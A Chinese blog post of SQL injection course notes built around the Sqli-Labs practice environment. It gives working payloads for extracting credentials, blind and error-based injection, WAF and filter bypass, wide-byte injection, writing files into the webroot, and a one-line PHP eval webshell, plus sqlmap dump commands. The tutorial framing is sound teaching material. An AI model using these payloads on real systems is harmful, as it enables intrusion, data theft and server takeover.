02 SQL注入漏洞

2-1 SQL注入原理
1)语言分类:解释型语言和编译型语言。解释型语言是一种在运行时由一个运行时组件解释语言代码并执行其中包含的指令的语言。而编译型语言是代码在生成时转换为机器指令,然后再运行时直接由使用该语言的计算机执行这些指令。
在解释型语言中,如果程序与用户进行交互。用户就可以构造特殊的输入来拼接到程序中执行,从而使得程序依据用户输入执行有可能存在恶意行为的代码。
例如:在与用户交互的程序中,用户的输入拼接到SQL语句中,执行了与原定计划不同的行为,从而产生了SQL注入漏洞。
2)登录案例讲解
登录SQL语句:select * from admin where username='用户输入的用户名' and password='用户输入的密码'
用户输入的内容可由用户自行控制,例如输入1' or 1=1 --空格
SQL语句:select * from admin where '1' or 1=1 -- ' and password='用户输入的密码'
其中or 1=1 永远为真,--注释后边内容不再执行,因此SQL语句执行会返回admin表中的所有内容。
Burpsuite万能密码测试案例演示
3)CMS SQL注入讲解
CMS逻辑:index.php首页展示内容,具有文章列表(链接具有文章id)、articles.php文章详细页,URL中的article.php?id=文章id读取id文章。
SQL注入验证:
1、单引号'
2、and 1=1
3、and 1=2
如果页面中mysql报错,证明该页面存在SQL注入漏洞。
4)Sqlmap基本使用
sqlmap是检测和利用sql注入漏洞的一款强大工具。

2-2.MySQL注入有关知识点
1)Mysql 5.x数据结构
在MySQL 5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息。其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)
在schemata表中,schema_name字段用来存储数据库名。
在tables表中,table_schema和table_name分别用来存储数据库名和表名。
在columns表中,table_schema(数据库名)、table_name(表名)、column_name(字段名)
利用Navicat for MySQL查看结构
2)SQL增删改查
select 列名称 from 表名称 where 字段1='条件1' and 字段2='条件2'
select * from 表名称 where 字段1='条件1' and 字段2='条件2'
insert into 表名称(列1,列2...) values(值1,值2)
update 表名称 set 列名称=新值 where 列名称=某值
delete from 表名称 where 列名称=值
3)MySQL常用函数
Mysql中常用的聚合函数有以下:
user():查看当前mysql登录用户名
database():查看当前使用mysql数据库名
version():查看当前mysql版本
拓展limit关键字,limit m,n 从m行开始,m+n行结束
4)注释
注释符:在mysql中常见的注释符表达式:#或--空格或/**/
内联注释:/*! SQL语句 */ 只有mysql可以识别,常用来绕过WAF
例如: select * from articles where id=id
使用内联注释注入:select * from articles where id=-1 /*! union */ /*!select*/ 1,2,3,4

2-3SQLLab靶场搭建
1)PhpStudy环境安装
phpStudy是一个PHP调试环境的程序集成包。
该程序包集成最新的Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境,该程序不仅包括PHP调试环境,还包括了开发工具、开发手册等。总之学习PHP只需一个包。
2)火狐浏览器插件安装
3)Sqlmap安装
4)Sqli-Lab安装

2-4.GET基于报错的SQL注入
1)SQL注入的分类
根据注入位置数据类型可将SQL注入分为两类:数字型和字符型。
例如:
数字型: select * from table where id=用户输入的id
字符型:select * from table where id='用户输入的id'
2)GET基于报错的SQL注入发现
通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠\来探测URL中是否存在注入点。
实验:Sqli-Lab Less1~4,GET基于报错的SQL注入。
3)GET基于报错的SQL注入利用
利用order by 判断字段数,例如 1' order by 3 --+
利用union 联合查询判断字段数对应的位置,例如-1' union select 1,2,3 --+ 其中可输入-1或0或其他的字符导致联合查询第一个条件查询失败,则会执行第二个条件查询。
利用联合查询获取数据库版本、当前数据库、用户:
-1' union select 1,group_concat(version(),database(),user()),3 --+
利用联合查询获取表名:
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
利用联合查询获取users表中的字段名:
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+
利用联合查询获取users表中username,password字段的具体值:
-1' union select 1,group_concat(username,0x3a,password),3 from users --+
: 冒号的十六进制是0x3a
4)利用sqlmap测试
利用sqlmap探测是否存在sql漏洞以及数据库
sqlmap -u "http://192.168.3.128/sqli-labs/Less-1/?id=1" --dbs
利用sqlmap 探测security数据库中的表
sqlmap -u "http://192.168.3.128/sqli-labs/Less-1/?id=1" -D security --tables
利用sqlmap 探测users表中的字段名
sqlmap -u "http://192.168.3.128/sqli-labs/Less-1/?id=1" -D security -T users --columns
利用sqlmap获取users表中username,password的值
sqlmap -u "http://192.168.3.128/sqli-labs/Less-1/?id=1" -D security -T users -C username,password --dump

2-5不再显示错误的盲注
1)盲注介绍
Blind SQL(盲注)是注入攻击的其中一种,向数据库发送true或false这样的问题,并根据应用程序返回的信息判断结果,这种攻击的出现时因为应用程序配置为只显示常规错误,但并没有解决SQL注入存在的代码问题。
演示盲注问题。当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示,后端数据库执行SQL查询返回的错误信息。Blind SQL(盲注)与常规注入很接近,不同的是数据库返回数据的检索方式。若数据库没有输出数据到web页面,攻击者会询问一些列的true或false问题,强制从数据库获取数据。
盲注常分为:基于布尔型的盲注和基于时间的盲注。
2)GET基于时间的盲注
if(ascii(substr(database(),1,1))=115,10,sleep(3)) : 当数据库名第一个字母的ascii码等于115时,执行十次sleep(3)函数等待3秒
例子: 1' and sleep(10) --+ 查看是否延迟了10秒
1' and if(ascii(substr(database(),1,1))=115,10,sleep(3)) 以此判断数据库名
and if(ascii(substr(database(),1,1))>55,sleep(5),1) --+
实验:Sqli-Lab Less9~10,GET基于时间的盲注。
3)GET基于Boolean的盲注
基于布尔型的盲注,我们通常采用下面的办法猜解字符串:
select length(database());
select substr(database(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1)) >N;
select ascii(substr(database(),1,1)) =N;
select ascii(substr(database(),1,1)) <N;
Sqli-Lab8实验演示
1' and ascii(substr(database(),1,1))<N --+
4)sqlmap安全测试
可使用sqlmap -h 查看帮助命令
sqlmap -u url --technique T --dbs

2-6.Mysql注入读写文件
1)Mysql注入读文件
mysql数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(但前提是权限足够)。下面进行读文件。
读取前提:
1.用户权限足够高,尽量具有root权限。
2.secure_file_priv不为null。
secure_file_priv 用来限制mysqld的导入导出只能发生在某个目录下,当值为null时,表示不允许导入导出。
默认情况下secure_file_priv的值为null,可进入数据库通过show global variables like "secure_file_priv"; 命令查看。在配置文件mysql.ini中添加一行secure_file_priv=
即可满足前提。
利用load_file函数读取文件
-1' union select 1,2,load_file("F:\\flag.txt") --+
2)Mysql注入写文件
mysql数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外们还可以进行对文件进行读写(但前提是权限足够),下面介绍写文件。
http://127.0.0.1:8081/sqli/Less-7/?id=-1'))+union+select++1,'<?php phpinfo();?>',3+into+outfile+'C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\1.php' --+
写入之前需要配置general_log为on,可使用命令show variables like '%general%';查看
set global general_log =on 设置
3)写入webshell
写入一句话木马,<?php @eval($_POST['x']);?>。使用中国菜刀连接。
4)sqlmap安全测试
利用sqlmap -hh查看详细的帮助信息。利用sqlmap读文件:
sqlmap -u url --file-read "C:\\flag.txt"
利用sqlmap写入文件:
sqlmap -u url --file-write "password:123456" --file-dest "C:\\flag1.txt"

2-7.POST基于错误的注入
1)Burpsuite抓取HTTP请求
Burpsuite是一款WEB安全测试的利器,继承了几乎WEB安全测试中所有需要用到的功能。
运行前提:1、需要安装JAVA
截断代理设置:在浏览器中设置局域网代理。
2)POST基于错误单引号注入
注入点位置发生了变化,在浏览器中已经无法直接进行查看与修改。当然可以借助对应的插件可以完成修改任务。以Sqli-Lab Less11为例。
3)POST基于错误双引号注入
查看Sqli-Lab Less12源代码,使用\根据报错可估算出查询语句的内容,构造") or 1=1 --+ 可绕过登录。
4)Sqlmap安全测试
Sqlmap安全测试进行POST注入
赋值BurpSuite截断的HTTP请求数据包到文本文件中,使用sqlmap -r 文件路径 -p 指定探测参数。

2-8.GET报错注入
1)报错注入介绍
报错注入形式上是两个嵌套的查询,即select...(select...),里面的那个select 被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:
rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也被称为计数函数,返回查询对象的总数
group by clause 分组语句,按照查询结果分组
通过报错来显示出具体的信息。

查询的时候如果使用rand()的话,该值会被计算多次。在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。在一次多记录的查询过程中,floor(rand(0)*2)的值是定性的,为011011
select count(*) from table group by floor(rand(0)*2);
2)GET单引号报错注入
以Sqli-Lab Less 5为例
获取数据库 http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
获取表名 http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
获取用户信息 http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
3)GET双引号报错注入
获取数据库 http://localhost/sqli-lab/Less-6/index.php?id= 0" union select count(*),0,concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a limit 0,10 --+
4)Sqlmap安全测试
sqlmap -u url --current-db

2-9.SQL注入绕过技术
1)大小写绕过
如果程序中设置了过滤关键字,但是过滤过程中并没有对关键字组成进行深入分析过滤,导致只是对整体进行过滤。例如:and过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。
通过修改关键字内字母大小写来绕过过滤措施。例如:AnD 1=1
例如:在进行探测当前表的字段数时,使用order by数字进行探测。如果过滤了order,可以使用OrdER来进行绕过。
2)双写绕过
如果在程序中设置出现关键字之后替换为空,那么SQL注入攻击也不会发生。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了以此替换。就是将关键字替换为对应的空。
例如:过滤了union 只要发现union 无论是大小写都会被替换为空。
UnunionIon 结合之前大小写绕过。
3)编码绕过
可以利用网络中的URL在线编码,绕过SQL注入的过滤机制
4)内联注释绕过
在Mysql中内联注释中的内容可以被当作SQL语句执行。
例如:/*!select*/ * from admin;

2-10.POST基于时间与布尔盲注
1)HTTP POST介绍
POST 发送数据给服务器处理,数据包含在HTTP信息正文中 POST请求会向指定资源提交数据,请求服务器进行处理,如:表单数据提交、文件上传等,请求数据会被包含在请求体中。 POST方法可能会创建新的资源或/和修改现有资源。 使用POST方法时,查询字符串在POST信息中单独存在,和HTTP请求一起发送到服务器: POST /test/demoform.html HTTP/1.1 Host: w3schools.com name1=value1&name2=value2
2)POST基于时间的盲注
在存在注入点POST提交的参数后加 and if (length(database())>5,sleep(5),null)。 如果执行的页面响应时间大于5秒,那么肯定就存在注入,并且对应的SQL语句执行。
3)POST基于布尔的盲注
在存在注入点POST提交的参数后加入if判断正确或错误的语句。
select length(databse()); select substr(databse(),1,1); select ascii(substr(database(),1,1)); select ascii(substr(database(),1,1)) > N; select ascii(substr(database(),1,1)) = N; select ascii(substr(database(),1,1)) < N;
4)Sqlmap安全测试
在Sqlmap中指点探测技术使用--technique T(time) B(boolean)。

2-11.HTTP头中的SQL注入
1)HTTP头中的注入介绍
在安全意识越来越重视的情况下,很多网站都在防止漏洞的发生。例如SQL注入中,用户提交的参数都会被代码中的某些措施进行过滤。
2)HTTP User-Agent注入
Sqli-Less 18 User-Agent注入
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
Payload内容: updatexml(xml_document,xpath_string,new_value): 第一个参数:XML文档对象名称。 第二个参数:XPath字符串。 第三个参数:替换查找到的符合条件的数据。 ' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
3)HTTP Referer注入
Sqli-Lab19
' or '1'='1 ' or (length(database())) >8 or if(1=1, sleep(5), null) or '1' = '1
4)Sqlmap安全测试
Sqlmap自动搜索POST表单注入:sqlmap.py -u "http://ip/sqltest/post.php" --form
指定参数探测SQL注入:sqlmap -u http://xxx.xxx.com/Login.asp --data "n=1&p=1"

2-12.POST_Update语句注入
1)Mysql update介绍
mysql中的update更新数据
update语句可用来修改表中的数据,简单来说基本的使用形式为:
update 表名称 set 列名称=新值 where 更新条件;
UPDATE table_name SET field1=new-value1,field2=new-value2 [WHERE Clause]
2)过滤内容介绍
Sqli-Lab less 17
3)Mysql update注入
uname=admin&passwd=admin' or updatexml(1,concat(0x7e,version(),0x7e),1)#&submit=Submit
4)sqlmap安全测试
利用sqlmap读取target.txt中的内容并指定passwd参数进行SQL注入漏洞的利用。
sqlmap -r target.txt -p passwd

2-13.Cookie注入
1)Cookie介绍
服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。Cookies最经典的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是Cookies的功能。另一个重要应用场合是"购物车"之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品,这些信息都会写Cookies,以便在最后付款时提取信息
2)Cookie注入代码分析
代码中使用Cookie传递参数,但是没有对Cookie中传递的参数进行过滤操作。导致SQL注入漏洞的产生。
3)Cookie注入利用
Sqli-Lab less 20
利用' or 1=1 --+
4)Sqlmap安全检测
sqlmap cookie注入
sqlmap -r target.txt --level 3

2-14.CookieBase64注入
1)Base64介绍
Base64编码是从二进制到字符的过程,可用于在HTTP环境下传递较长的标识信息。Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法。
将原始内容转换为二进制,从左到右依次取6位,然后再最高位补两位0,形成新的内容。
编码规则:
1.把3个字符变成4个字符。
2.每76个字符加一个换行符
3.最后的结束符也要处理
2)Cookie Base64注入代码分析
base64_decode(str):PHP语言中用于解密Base64加密字符串的函数
Sqli-Lab less22
3)Cookie Base64注入
使用Base64加密的注入语句,插入到Cookie对应的位置完成SQL注入漏洞的探测。
4)Sqlmap安全检测
sqlmap -r target.txt --level 3 再在target.txt中cookie最后面添加*用来标记

2-15.绕过去除注释符的SQL注入
1)Mysql中的注释符
注释符的作用:用于标记某段代码的作用,起到对代码功能的说明作用。但是注释掉的内容不会被执行。
Mysql中的注释符:
1、单行注释: --+ 或--空格 或 #
2、多行注释:/*多行注释内容*/
对于正常的SQL语句中,注释符起到说明作用的功能。但是对于在利用SQL注入漏洞过程中,注释符起到闭合单引号、多单引号、双引号、单括号、多括号的功能。
2)去除注释符的代码分析
preg_replace(mixed $pattern,mixed $replacement,mixed $subject):执行一个正则表达式的搜索和替换。
$pattern:要搜索的模式,可以是字符串或一个字符串数组
$replacement:用于替换的字符串或字符串数组
$subject:要搜索替换的目标字符串或字符串数组
3)绕过去除注释符的SQL注入
Sqli-lab less 23
利用注释符过滤不能成功闭合单引号等,换一种思路利用or '1'='1 闭合单引号等。
http://127.0.0.1/sqli/Less-23/?id=-1%27%20union%20select%201,database(),%273
4)Sqlmap安全检测
sqlmap -u "URL" --batch

2-16.绕过过滤and和or的sql注入
1)基础知识介绍
Mysql基础知识介绍
1、Mysql中的大小写不敏感,大写与小写一样。用于绕过过滤黑名单
2、Mysql中的十六进制与URL编码。
3、符号和关键字替换 and --&& 、or--||
4、内联注释与多行注释 /*!内联注释*/ /*多行注释*/ 内联注释中的语句会被执行,多行注释中的内容不会被执行
5、Mysql中会自动识别URL和Hex编码好的内容。
6、空格使用 %20表示、%0a换行 %09 tab
2)去除and和or的代码分析
Sqli-Lab less 25
3)绕过去除and和or的SQL注入
绕过策略:
1、大小写变形,Or、OR、oR、And、ANd等 --代码中大小写不敏感都被剔除
2、在这两个敏感词汇中添加注释,例如:a/**/nd 双写绕过 oorr
3、利用符号替代 ---- and--&& or--||
4)Sqlmap安全检测
sqlmap -u "URL" --dbs --batch

2-17.绕过和去除空格的SQL注入
1)基础知识介绍
2)去除空格的代码分析
Sqli-Lab less 26
3)绕过去除空格的SQL注入
绕过策略:
编码:hex,urlencode 空格URL编码 %0a %09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
4)Sqlmap安全检测
sqlmap -u "URL" --hex --dbs --batch

2-18.绕过和去除union和select的sql注入
1)Mysql基础知识介绍
2)去除(union)的代码分析
Sqli-Lab less 27
3)绕过去除(union)的SQL注入
%09表示tab、||表示or、union/select大小写、双写绕过。
http://127.0.0.1/sqli/Less-27/?id=-1%27%09%09uniOn%09SelEcT%091,2,3%09||%09%271
4)Sqlmap安全检测
sqlmap -u "URL" --dbs --batch

2-19.宽字节注入
1)宽字节注入基础
GBK占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。
%DF':会被PHP当中的addslashes函数转义为“%DF\'”,“\”既URL里的“%5C”,那么也就是说,“%DF”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C”是一个宽字符,也就是繁体字"運"
2)宽字节注入代码分析
Sqli-Lab less 33
3)宽字节SQL注入演示
绕过策略:
id =1%df' --+
4)Sqlmap安全检测
sqlmap -u "URL?id=1%df%27" --search --level 3 --risk 1 --thread 10

2-20.宽字节注入二
1)宽字节注入基础
最常使用的宽字节注入是利用%df,其实我们只要第一个ascii码大于128就可以了,比如ascii码为129的就可以,但是我们怎么将他转换为URL编码呢,其实很简单,我们先将129(十进制)转换为十六进制,为0x81,如图1所示,然后再十六进制前面加%即可,即为%81
GBK首字节对应0x81-0xFE,尾字节对应0x40-0xFE(除0x7F)
2)宽字节注入代码分析
Sqli-Lab less 33
3)宽字节SQL注入演示
绕过策略:
id=1%bf' --+
4)Sqlmap安全检测
sqlmap -u "URL" --tamper=unmagicquotes.py

2-21.二次注入分析
1)二次注入介绍

 

 

2)二次注入代码分析
SQLi-lab less 24
3)二次注入利用
注册用户admin' -- -,修改密码查看数据库内容
4)二次注入危害
1、注入Payload触发二次SQL注入
2、注入Payload触发XSS攻击

2-22.SQL注入漏洞简单挖掘
1)CMS环境搭建(espcms)
2)自动化审计工具
Seay源代码审计系统
3)直接挖掘select注入
4)漏洞验证POC

2-23.updatexml和extractvalue函数讲解
1)Sqlmap更新参数介绍
--purge 以安全模式删除所有sqlmap数据目录。
2)演示数据表介绍
3)updatexml函数
4)extractvalue函数
参考链接:https://dev.mysql.com/doc/refman/5.7/en/xml-functions.html
id = 1 and updatexml(1,concat(0x7e,@@version,0x7e),1);
id=1 and extractvalue(1,concat(0x7e,database(),0x7e));

2-24.IIS6.0搭建ASP网站
1)环境准备
1、一台Windows server2003服务器,开启IIS6.0
2、asp源码文件
2)配置IIS,加载站点源码
1、新建网站,设定站点根目录在源码位置
3)常见问题处理
1、端口冲突 --修改该网站的默认端口
2、40x错误 --修改对应文件夹权限 对IUSER_计算机名的用户给与权限
3、无法启动‘..’表示上层目录,在网站配置的主目录选项中设置允许父目录
4)源码测试

2-25.针对ASP+ACCESS网站进行注入
1)asp+access网站技术介绍
ASP即Active Server Pages,是MicroSoft公司开发的服务器端脚本环境,可用来创建动态交互式网页并建立强大的web应用程序。当服务器收到对ASP文件的请求时,它会处理包含在用于构建发送给浏览器的HTML网页文件中的服务器端脚本代码。除服务器端脚本代码外,ASP文件也可以包含文本、HTML(包含相关的客户端脚本)和com组件调用。
MicroSoft Office Access是由微软发布的关系数据库管理系统。只有表的概念。
2)web漏洞扫描
OWASP-ZAP
3)漏洞分析
针对扫描结果中标记红色的内容进行分析。 XSS SQL注入
4)SQL注入点利用
利用sqlmap进行测试。注意:Access只有表的概念。
sqlmap -u "url" --tables

2-26.Access偏移注入利用
1)Access偏移注入原理
借用数据库的自连接查询让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示!
运气很重要,不能保证100%成功。
2)Access偏移注入利用场景
解决之道Access数据库中知道表名,但是得不到字段的sql注入困境
字段名取名复杂,字典暴力破解字段名不成功
3)Access偏移注入流程
1、判断字段数
2、判断表名 使用union select * from表名来获取
3、开始偏移注入 利用注入公式来注入
4)Access偏移注入公式实践
偏移注入的基本公式为:
order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案。
也就是18-11=7
18-7*2=4
得到答案等于:4
例如:http://xxx.com/test.asp?id=688 union 1,2,3,4,a.id,b.id,* from(sys_admin as a inner join sys_admin as b on a.id=b.id)
#这里union select 1,2,3,4:顾名思议就是刚才的出来得长宽
#后面的是sql,可做公式
http://xxx.com/test.asp?id=1513+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+admin
http://xxx.com/test.asp?id=1513+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,*+from+admin
22 -16 = 6 22-6*2=10
http://xxx.com/test.asp?id=1513+union+select+1,2,3,4,5,6,7,8,9,10,a.id,b.id,*+from+(admin+as+a+inner+join+admin+as+b+on+a.id=b.id)

posted on 2020-11-16 00:34  Ben_John  阅读(489)  评论(0编辑  收藏  举报

导航